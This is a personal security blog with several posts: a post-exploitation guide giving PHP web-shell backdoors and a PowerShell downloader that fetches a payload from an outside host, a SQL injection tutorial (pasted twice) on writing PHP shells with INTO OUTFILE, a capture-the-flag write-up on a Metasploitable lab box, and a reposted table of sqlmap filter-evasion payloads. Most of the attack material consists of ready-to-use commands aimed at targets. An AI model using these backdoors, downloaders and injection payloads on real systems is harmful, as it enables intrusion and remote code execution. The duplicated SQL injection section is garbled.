Wednesday, December 20, 2017

From SHELL to POWERSHELL

Just to keep for my notes and reference. Because sometime hard to recall back on #HowTo

See 'clam' for more and `bash' for a shell script!


            ___
        .-"; ! ;"-.
      .'!  : | :  !`.
     /\  ! : ! : !  /\
    /\ |  ! :|: !  | /\
   (  \ \ ; :!: ; / /  )
  ( `. \ | !:|:! | / .' )
  (`. \ \ \!:|:!/ / / .')
   \ `.`.\ |!|! |/,'.' /
    `._`.\\\!!!// .'_.'
       `.`.\\|//.'.'
        |`._`n'_.'|  hjw
        "----^----"

Ok, let's assume that we are able to inject some malicious payload/code like using phpMyAdmin or whatever low-hanging fruits on the target SQLi, RCE or whatever.

1. For PHP these are the useful code:
========
PHP Info
========

<? phpinfo(); ?>

This might be useful for us to identify file path and default folder etc.

================
Simple PHP Backdoor
================

<?php system($_GET['cmd']); ?>

or

<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>

This one the most 'clean' version. Both of the code are in one line, we can simply append it into another filename that we like.

2. In order for us to perform the privilege escalation attack its depend on the target platform. Either the target is running on Windows or Linux. These two type of architecture have a different method to do it.

If the target are running Windows we can use powershell. As we know most of the Windows operating system by default have the powershell capabilities. Good thing about powershell some of the Anti-Virus/Malware are ignore if any command are execute.

As we know Windows does not have a wget or curl command to download from any or other external resources that we wanted to. To do that, with the existing shell that we append earlier, we can use echo command to write a new payload in order for us to use it.

First we create a new file called download.ps1:
================
Copy & Execute This
================

echo param($url, $filename) > download.ps1
echo $client = new-object System.Net.WebClient >> download.ps1
echo $client.DownloadFile( $url, $filename); >> download.ps1

The expected output of file should place the one that we echo line-by-line like these;

$ type download.ps1

param($url, $filename)
$client = new-object System.Net.WebClient
$client.DownloadFile( $url, $filename);

Next run this command:

$ powershell Set-ExecutionPolicy Unrestricted

This is to make sure that we had no restriction while we run the script.

$ powershell -ExecutionPolicy RemoteSigned -File "download.ps1" "http://somewhere.com/filename.ext" "C:\Windows\Temp\filename.ext"

The last command that we wanted to run. Make sure that both URL and file path that are set right before we execute it.

Another thing that I been wondering about these powershell is there any Webshell for Powershell? Yes we have it! While do some Google I found --> this  "Antak-WebShell" It is written in ASP.Net and its not support PHP :( But if you get lucky, some of Microsoft web server are running both PHP & IIS this is where we can use this.


Since we have this nice WebShell we can rely on another tools like Empire, PowerSploit or Nishang for post exploitation.

As for the conclusion, the step-by-step walkthrough may be in pain or you might get stuck on while working on this. Maybe you have a better technique to simplyfied it? Anyway, good luck with spawning the $HELL Cheers!!!



Thursday, October 5, 2017

SQLiiiii


"The SELECT ... INTO OUTFILE 'file_name' form of SELECT writes the selected rows to a file. The file is created on the server host, so you must have the FILE privilege to use this syntax. file_name cannot be an existing file, which among other things prevents files such as /etc/passwd and database tables from being destroyed. As of MySQL 5.0.19, the character_set_filesystem system variable controls the interpretation of the filename."

The INTO OUTFILE operator can be used during sql injection exploiting to write php shell on remote host. Unfortunately (fortunately?) this is only possible in some (very) race conditions :
  • mysql user must have the FILE privilege;
  • the operator requires a "quoted" file pathname, so the web application should not escape/filter them;
  • httpd and mysql should be installed on the same machine, or (if you can) the file will be written on the dbms machine;
  • You need to know the fullpath name of the web root.
Now we suppose that all the above conditions were verified on the test machine, and let's start to explore the operator's characteristics. I'll show a series of characteristics that I noticed while I was playing with it :
  • It is possible to control the content of the file to write in this way :

    {begin of injection} AND 1=0 UNION SELECT 1,1,1,'my code here' INTO OUTFILE '/www/htdocs/shell.php/'/*


    A file named "shell.php" will be created, and its content will be the follow :

    1 1 1 my code


    First of all : I used an "AND 1=0" because in this way I was able to make the first query returns 0 rows (so no data from the original query will be inserted in shell.php). Second : we can notice that in shell.php there are some undesired data (1 1 1). To avoid their presence we can use "null" or ''.
  • If INTO OUTFILE is used in a subquery, we will create the file but we will not control its content. That's because if we inject something like :

    AND (SELECT '' INTO OUFILE '/.../shell.php')/*


    shell.php will contains the data selected by the injecatable query and not our ''

  • If you want display the whole (current)table content you can inject this query :

    OR 1=1 AND (SELECT 1 INTO OUFILE '.../tableDump.txt')/*


    In this way the "OR 1=1" will make the query return all the table rows, and then the content will be stored in the "tableDump.txt" file. After that you can use LOAD_FILE() function to read the file (ok, this seems to be a little useless, because if you are not able to display all the table content in the html response by simply injecting the "OR 1=1", you are also not able to load data in html with LOAD_FILE() ... BUT if you store the content in the file you can then easly inference it)

  • When it is injected a INTO OUFILE operator in a query where the result is handled by mysql_fetch_array(), it is displayed a message error such as :


    Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /path/htdocs/script.php on line XX


    This can be used to get full path name, and so to known where to write the php shell

  • Sometimes it is necessary encode the content you want to write because the URL encode caused problems with some characters. I suggest to encode it as follows :

    UNION SELECT CHAR(60,63,112,104,112,32,101,99,104,111,32,34,79,87,78,69,68,34,59,32,63,62),1,1,1 INTO OUFILE '/path/name/file.php'/*


    Where "CHAR(..., ...)" is the encode for the string "<?php echo "OWNED"; ?>".
  • Last year I tried to exploit a sql injection where the application filtered every types of comment, and the injection was between two UNION operators. I had something like this :

    SELECT * FROM tab1 UNION SELECT * FROM t2 WHERE ID = {here injection} UNION SELECT * from t3


    In this situation I tried to concatenate the "INTO OUTFILE" just to have something like :

    SELECT (...) UNION SELECT * FROM tab WHERE ID = 1 INTO OUFILE '...' UNION SELECT (...)


    but this caused the follow error :

    "Incorrect usage of UNION and INTO"


    Infact, the operator needs to be placed at the end of the concatenation of UNION.
    From MySQL documentation :

    "The SELECT ... INTO OUTFILE 'file_name' form of SELECT writes the selected rows to a file. The file is created on the server host, so you must have the FILE privilege to use this syntax. file_name cannot be an existing file, which among other things prevents files such as /etc/passwd and database tables from being destroyed. As of MySQL 5.0.19, the character_set_filesystem system variable controls the interpretation of the filename."

    The INTO OUTFILE operator can be used during sql injection exploiting to write php shell on remote host. Unfortunately (fortunately?) this is only possible in some (very) race conditions :
    ·                mysql user must have the FILE privilege;
    ·                the operator requires a "quoted" file pathname, so the web application should not escape/filter them;
    ·                httpd and mysql should be installed on the same machine, or (if you can) the file will be written on the dbms machine;
    ·                You need to know the fullpath name of the web root.
    Now we suppose that all the above conditions were verified on the test machine, and let's start to explore the operator's characteristics. I'll show a series of characteristics that I noticed while I was playing with it : 
    ·                It is possible to control the content of the file to write in this way :

    {begin of injection} AND 1=0 UNION SELECT 1,1,1,'my code here' INTO OUTFILE '/www/htdocs/shell.php/'/*


    A file named "shell.php" will be created, and its content will be the follow :

    1 1 1 my code


    First of all : I used an "AND 1=0" because in this way I was able to make the first query returns 0 rows (so no data from the original query will be inserted in shell.php). Second : we can notice that in shell.php there are some undesired data (1 1 1). To avoid their presence we can use "null" or ''.
    ·                If INTO OUTFILE is used in a subquery, we will create the file but we will not control its content. That's because if we inject something like :
    AND (SELECT '' INTO OUFILE '/.../shell.php')/*


    shell.php will contains the data selected by the injecatable query and not our ''
    ·                If you want display the whole (current)table content you can inject this query :
    OR 1=1 AND (SELECT 1 INTO OUFILE '.../tableDump.txt')/*


    In this way the "OR 1=1" will make the query return all the table rows, and then the content will be stored in the "tableDump.txt" file. After that you can use LOAD_FILE() function to read the file (ok, this seems to be a little useless, because if you are not able to display all the table content in the html response by simply injecting the "OR 1=1", you are also not able to load data in html with LOAD_FILE() ... BUT if you store the content in the file you can then easly inference it)

    ·                When it is injected a INTO OUFILE operator in a query where the result is handled by mysql_fetch_array(), it is displayed a message error such as :
    Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /path/htdocs/script.php on line XX


    This can be used to get full path name, and so to known where to write the php shell
    ·                Sometimes it is necessary encode the content you want to write because the URL encode caused problems with some characters. I suggest to encode it as follows :
    UNION SELECT CHAR(60,63,112,104,112,32,101,99,104,111,32,34,79,87,78,69,68,34,59,32,63,62),1,1,1 INTO OUFILE '/path/name/file.php'/*


    Where "CHAR(..., ...)" is the encode for the string "
    <?php echo "OWNED"; ?>".
    • Last year I tried to exploit a sql injection where the application filtered every types of comment, and the injection was between two UNION operators. I had something like this :
      SELECT * FROM tab1 UNION SELECT * FROM t2 WHERE ID = {here injection} UNION SELECT * from t3


      In this situation I tried to concatenate the "INTO OUTFILE" just to have something like :

      SELECT (...) UNION SELECT * FROM tab WHERE ID = 1 INTO OUFILE '...' UNION SELECT (...)


      but this caused the follow error :

      "Incorrect usage of UNION and INTO"


      Infact, the operator needs to be placed at the end of the concatenation of UNION.

Monday, October 2, 2017

CTF Politeknik Mersing 2017 Writeups

Some writeups for CTF Politeknik Mersing 2017.

Honestly, I'm not really expert and experience guy in crafting and create a CTF question challenges. But for this competition,  my intention is only meant for begineers folks. And susprisingly some of them are able to answers it and not.

By putting some basic cryptography elements + basic exploitation which is based on Metasploitable2 vulnerable Images. 

Ok, here are the list of questions and challenges for the event:

Information Gathering
1. Mesej Tersembunyi (Flag 1)
2. Mesej Tersembunyi lagi (Flag 2)

Exploitation
1. Mencari Kucing sesat (Flag 3)
2. Tidak Benar Belaka (Flag 4)
3. Tiga Abdul - Abdul Wahab, Abdul Wahib & Abdul Wahub (Flag 5)

Forensic Challenge
1. Image Forensic - Steganography 

With total of 6 challenges! All you have to do is own this box in order to get all the flags except for Steganography.

Flag 1: Mesej Tersembunyi

Viewing the source from browser we found this.

<!-- Dulu2 punya password "TmlhdEluc29uZ01hdGFLYWppc2VtYXJOZ2lzZW5n" -->

Notice the hash is actually decode with base64. Simple! We decode it and we got this:

NiatInsongMataKajisemarNgiseng


Flag 2: Mesej Tersembunyi lagi

This one is different with the first flag.

<!-- Ada banyak FLAG dalam Server nie, jom kita cari Link lama - http://192.168.190.148/test/-->

Based on the HTML comment there is /test directory which is accessible. Browse to it, we found one text file "info.txt"
c2640ee9637a20fa50bd2b6e531771a2

The hash is not encode with base64. So how? We can use online hash identifier to identified it, there are plenty of site we could use. Well, the hash is MD5. The key is there is no need to crack this hash. You have to Google it and search it with the right keywords, "MD5 Decryptor"


From the screenshot, our flag is SelamatDatangKeCRAC17

Flag 3: Mencari Kucing sesat

The first step to owning a box is to perform recon and check for the open port and what are the  service running? We can also run some fast scan with Nmap or use Netcat etc.

:8180/manager/html

To exploit this you will need a valid credentials. Well there is a good wordlist for this one, rockyou! Next we have to brute-force it with whatever tools or scripts that you have. 

The Valid Credentials are:

Username: tomcat
Password: sulaiman

We can use Metasploit Tomcat Deploy exploit to do that. Once it succesfully exploited you will straight away found the flag. Simple? Finding the TomCat is not that hard.

JanganMakanIkanMiao

Flag 4: Tidak Benar Belaka

If you notice there is another interested services that can be simply exploit with. Unreal IRCd with version of 3.2.8 running on port 9091. Same thing this can the exploit with Metasploit UnrealIRCd

There is no need to a valid credentials for this.  Compare with the Flag 3 the privilege level is only a tomcat but its not root. But this one we are being grant with a root! Yes! We are totally owned the box! 

Flag 5: Tiga Abdul - Abdul Wahab, Abdul Wahib & Abdul Wahub

The point for this flag is high. Why? Because its complicated! If you already solve flag 4 means you have been granted with full access. If you notice there is a 3 user at /etc/passwd
  1. wahub
  2. wahab
  3. wahib
What next is you will need to pull the password hash and crack it with whatever password cracking tools you like e.g. John the Ripper or HashCat etc.

wahub:$1$wAd6iz60$j0LoaQfuGu2VxM5LgLYTW.:17434:0:99999:7:::
wahab:$1$Wwm0/WYO$F7HYtMitsDcs6jsod/aUv.:17434:0:99999:7:::
wahib:$1$psHas9Xy$3KEL.ZXivW/KLG3A2JVhG0:17434:0:99999:7:::

I prefer to use JTR. 

john --format=aix-smd5 crackthis.txt 
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (aix-smd5, AIX LPA {smd5} (modified crypt-md5) [MD5 32/32])
Press 'q' or Ctrl-C to abort, almost any other key for status
WtA              (wahab)
ZeU              (wahib)
OcX              (wahub)
3g 0:00:00:00 DONE (2017-10-02 13:56) 50.00g/s 50.00p/s 100.0c/s 100.0C/s OcX
Use the "--show" option to display all of the cracked passwords reliably

So we got this hash cracked with JTR. As we can see the password is only 3 character long. Back to the question "Tiga Abdul - Abdul Wahab, Abdul Wahib & Abdul Wahub" what do we got if we combine all those password.

WtaZeUOcX 

Look like a flag? Maybe? What if we convert the string into ROT 13 Cipher? 

Our flag is JgnMrHBpK
Well....Jangan marah ye, nnt kena jual. hahaaa..

Last one! Forensic Challenge - Steganography

This one quite thinker. We have to find hidden flag in this images:


Normally we'll be using standard photo/images like Photoshop or Gimp etc, but that might not be the right tools to find the answers. So, I'm gonna use this one, a freeware hex editor or any hex editor that you like.


At first, when we open up the images with the editor. Notice there is a Google? Let's find if there any Google within the images. By right you should find two text-string with "Google" 

If you really look into and check back on the hex code, the code itself are being repeated. So? Did you notice what are the different between those two?

Going back to the second code with text-string Google.


The additional code was, 526d685a4e485a364e474575546e6856655735344d30453d and this may be our answer for this challenges. 

I put clue for this, "Encryption within Encryption" With the hash we got, what are the exactly code that we have? 

Its simple, identify and decode it! That's it! 

1. 526d685a4e485a364e474575546e6856655735344d30453d (Hex Code)
2. RmhZNHZ6NGEuTnhVeW54M0E= (Base64)
3. FhY4vz4a.NxUynx3A

One the of the participant already got this, they fail to identify the last one which is actually using ROT 13 Cipher. The answer for it was: 

SuL4im4n.AkHlak3N 

That's concluded my writeups. I did plan to put a Binary Analysis Challenges for this CTF, but I'm not really good with my Reverse Engineering skills, knowledge etc. Maybe next time.

Any comments and critic are welcome. Thanks! 



Tuesday, September 12, 2017

List of SQLMAP Tamper Scripts

Just re-post one of my visited reference blog post:

Original URL: http://www.forkbombers.com/2016/07/sqlmap-tamper-scripts-update.html

NameDescriptionExample
apostrophemask.pyReplaces apostrophe character with its UTF-8 full width counterpart'1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'
apostrophenullencode.pyReplaces apostrophe character with its illegal double unicode counterpart'1 AND %271%27=%271'
appendnullbyte.pyAppends encoded NULL byte character at the end of payload'1 AND 1=1'
base64encode.pyBase64 all characters in a given payload'MScgQU5EIFNMRUVQKDUpIw=='
between.pyReplaces greater than operator ('>') with 'NOT BETWEEN 0 AND #''1 AND A NOT BETWEEN 0 AND B--'
bluecoat.pyReplaces space character after SQL statement with a valid random blank character.Afterwards replace character = with LIKE operator'SELECT%09id FROM users where id LIKE 1'
chardoubleencode.pyDouble url-encodes all characters in a given payload (not processing already encoded)'%2553%2545%254C%2545%2543%2554%2520%2
546%2549%2545%254C%2544%2520%2546%2552
%254F%254D%2520%2554%2541%2542%254C%2545'
commalesslimit.pyReplaces instances like 'LIMIT M, N' with 'LIMIT N OFFSET M'''LIMIT 3 OFFSET 2''
commalessmid.pyReplaces instances like 'MID(A, B, C)' with 'MID(A FROM B FOR C)''MID(VERSION() FROM 1 FOR 1)'
concat2concatws.pyReplaces instances like 'CONCAT(A, B)' with 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)''CONCAT_WS(MID(CHAR(0),0,0),1,2)'
charencode.pyUrl-encodes all characters in a given payload (not processing already encoded)'%53%45%4C%45%43%54%20%46%49%45%4C%4
4%20%46%52%4F%4D%20%54%41%42%4C%45'
charunicodeencode.pyUnicode-url-encodes non-encoded characters in a given payload (not processing already encoded)'%u0053%u0045%u004C%u0045%u0043%u0054%u
0020%u0046%u0049%u0045%u004C%u0044%u002
0%u0046%u0052%u004F%u004D%u0020%u0054%
u0041%u0042%u004C%u0045'
equaltolike.pyReplaces all occurances of operator equal ('=') with operator 'LIKE''SELECT * FROM users WHERE id LIKE 1'
escapequotes.pySlash escape quotes (' and ")'1\\\\" AND SLEEP(5)#'
greatest.pyReplaces greater than operator ('>') with 'GREATEST' counterpart'1 AND GREATEST(A,B+1)=A'
halfversionedmorekeywords.pyAdds versioned MySQL comment before each keyword"value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT
(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(
/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR
(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0N
ULL#/*!0AND 'QDWa'='QDWa"
ifnull2ifisnull.pyReplaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)''IF(ISNULL(1),2,1)'
modsecurityversioned.pyEmbraces complete query with versioned comment'1 /*!30874AND 2>1*/--'
modsecurityzeroversioned.pyEmbraces complete query with zero-versioned comment'1 /*!00000AND 2>1*/--'
multiplespaces.pyAdds multiple spaces around SQL keywords'1 UNION SELECT foobar'
nonrecursivereplacement.pyReplaces predefined SQL keywords with representations suitable for replacement (e.g. .replace("SELECT", "")) filters'1 UNIOUNIONN SELESELECTCT 2--'
percentage.pyAdds a percentage sign ('%') infront of each character'%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M 
%T%A%B%L%E'
overlongutf8.pyConverts all characters in a given payload (not processing already encoded)'SELECT%C0%AAFIELD%C0%AAFROM%C0%AAT
ABLE%C0%AAWHERE%C0%AA2%C0%BE1'
randomcase.pyReplaces each keyword character with random case value'INseRt'
randomcomments.pyAdd random comments to SQL keywords'I/**/N/**/SERT'
securesphere.pyAppends special crafted string"1 AND 1=1 and '0having'='0having'"
sp_password.pyAppends 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs'1 AND 9227=9227-- sp_password'
space2comment.pyReplaces space character (' ') with comments '/**/''SELECT/**/id/**/FROM/**/users'
space2dash.pyReplaces space character (' ') with a dash comment ('--') followed by a random string and a new line ('\n')'1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'
space2hash.pyReplaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n')'1%23nVNaVoPYeva%0AAND%23ngNvzqu%0A9227
=9227'
space2morehash.pyReplaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n')'1%23ngNvzqu%0AAND%23nVNaVoPYeva%0A%23
lujYFWfv%0A9227=9227'
space2mssqlblank.pyReplaces space character (' ') with a random blank character from a valid set of alternate characters'SELECT%0Eid%0DFROM%07users'
space2mssqlhash.pyReplaces space character (' ') with a pound character ('#') followed by a new line ('\n')'1%23%0AAND%23%0A9227=9227'
space2mysqlblank.pyReplaces space character (' ') with a random blank character from a valid set of alternate characters'SELECT%A0id%0BFROM%0Cusers'
space2mysqldash.pyReplaces space character (' ') with a dash comment ('--') followed by a new line ('\n')'1--%0AAND--%0A9227=9227'
space2plus.pyReplaces space character (' ') with plus ('+')'SELECT+id+FROM+users'
space2randomblank.pyReplaces space character (' ') with a random blank character from a valid set of alternate characters'SELECT%0Did%0DFROM%0Ausers'
symboliclogical.pyReplaces AND and OR logical operators with their symbolic counterparts (&& and ||)"1 %26%26 '1'='1"
unionalltounion.pyReplaces UNION ALL SELECT with UNION SELECT'-1 UNION SELECT'
unmagicquotes.pyReplaces quote character (') with a multi-byte combo %bf%27 together with generic comment at the end (to make it work)'1%bf%27 AND 1=1-- '
uppercase.pyReplaces each keyword character with upper case value'INSERT'
varnish.pyAppend a HTTP header 'X-originating-IP'http://h30499.www3.hp.com/t5/Fortify-Application-S
ecurity/Bypassing-web-application-firewalls-using-HT
TP-headers/ba-p/6418366
versionedkeywords.pyEncloses each non-function keyword with versioned MySQL comment'1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL
*/,CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST
(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CH
AR(58,100,114,117,58))#
versionedmorekeywords.pyEncloses each keyword with versioned MySQL comment'1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL
*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFN
ULL*/(CAST(/*!CURRENT_USER*/()/*!AS*//*!CHAR*
/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#'
xforwardedfor.pyAppend a fake HTTP header 'X-Forwarded-For'' headers["X-Forwarded-For"]'

Spliting large pcap into multiple single pcap

Analysing a large size of PCAP is pain in the ass. So, why not we just split it into a multiple files. We can do that with editcap. In this...